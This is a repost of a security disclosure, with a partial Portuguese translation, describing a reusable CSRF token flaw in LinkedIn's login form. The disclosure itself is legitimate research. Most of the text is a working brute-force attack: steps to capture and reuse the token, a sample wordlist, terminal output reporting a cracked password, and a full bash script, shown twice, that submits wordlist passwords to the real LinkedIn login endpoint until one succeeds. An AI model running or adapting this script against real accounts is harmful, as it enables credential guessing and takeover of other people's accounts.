Fonte: Google
LinkedIn uses a Token into the login form which can be used many times
for different usernames. You can do it using the same IP or differents
IP, the token will not be verified.
I. Step by step
===============
1). Login into your LinkedIn account and capture the "sourceAlias" and
"csrfToken" variable (example:
sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)
2). Use the Token to login into another account:
https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () somedomain
com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless
session_key is the username and session_password is the password.
3). The password (session_password) is not correct If the requested URL
returns "The email address or password you provided does not match our
records", else the password if correct.
II. PoC
=======
1). The Wordlist (filename: w)
[zerial () belcebu ~]$ cat w
asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
qwsdcv
12wedfgh
123456qwerty
12345qwei
112233
[zerial () belcebu ~]$
2). Executing the script:
[zerial () belcebu ~]$ sh linkedin.sh panic () zerial org w
Password found: qwsdcv
[zerial () belcebu ~]$
This is the correct password for this test user.
III. Script
===========
#!/bin/bash
#
# usage: ./linkedin.sh username () domain com wordlist
#
TOKEN="ajax%3A6265303044444817496"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"
if [ ! -f $2 ];
then
echo "file $2 does not exists"
exit
fi
_USR=$1
for _PWD in $(cat $2);
do
if [ $(echo -n $_PWD|wc -c) -lt 6 ];
then
echo "Ignoring $_PWD (must be grather than 6 chars)"; continue
fi
wget -o /dev/null -O -
"https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless";|grep
'The email address or password you provided does not match our
records\|captcha' >>/dev/null
if [ $? -eq 1 ];
then
echo "Password found: $_PWD"; exit;
fi
done
echo "Password NOT found. Try later."
#EOF
Tradução:
LinkedIn usa um Token dentro da área de login, que pode ser usado de diversas vezes com usuários diferentes.Você consegue fazer isso com o mesmo IP ou diferentes IP's, o Token não será verificado.
I. Passo a Passo.
===============
1).Entre em sua conta LinkedIn e faça a captura do "sourceAlias" e "csrfToken" variável
(exemplo:
sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)
2).Use o Token de login em outra conta:
https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () somedomain
com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless
session_key is the username and session_password is the password.
3). A senha (session_password) não é a correta se a URL retornar assim:"The email address or password you provided does not match our records", se a senha estiver correta.
II. PoC
=======
1). The Wordlist (filename: w)
[zerial () belcebu ~]$ cat w
asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
qwsdcv
12wedfgh
123456qwerty
12345qwei
112233
[zerial () belcebu ~]$
2). Executing the script:
[zerial () belcebu ~]$ sh linkedin.sh panic () zerial org w
Password found: qwsdcv
[zerial () belcebu ~]$
Esse é a senha correta para esse teste.
III. Script
===========
#!/bin/bash
#
# usage: ./linkedin.sh username () domain com wordlist
#
TOKEN="ajax%3A6265303044444817496"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"
if [ ! -f $2 ];
then
echo "file $2 does not exists"
exit
fi
_USR=$1
for _PWD in $(cat $2);
do
if [ $(echo -n $_PWD|wc -c) -lt 6 ];
then
echo "Ignoring $_PWD (must be grather than 6 chars)"; continue
fi
wget -o /dev/null -O -
"https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless";|grep
'The email address or password you provided does not match our
records\|captcha' >>/dev/null
if [ $? -eq 1 ];
then
echo "Password found: $_PWD"; exit;
fi
done
echo "Password NOT found. Try later."
#EOF
Fonte: http://seclists.org/fulldisclosure/2012/May/184
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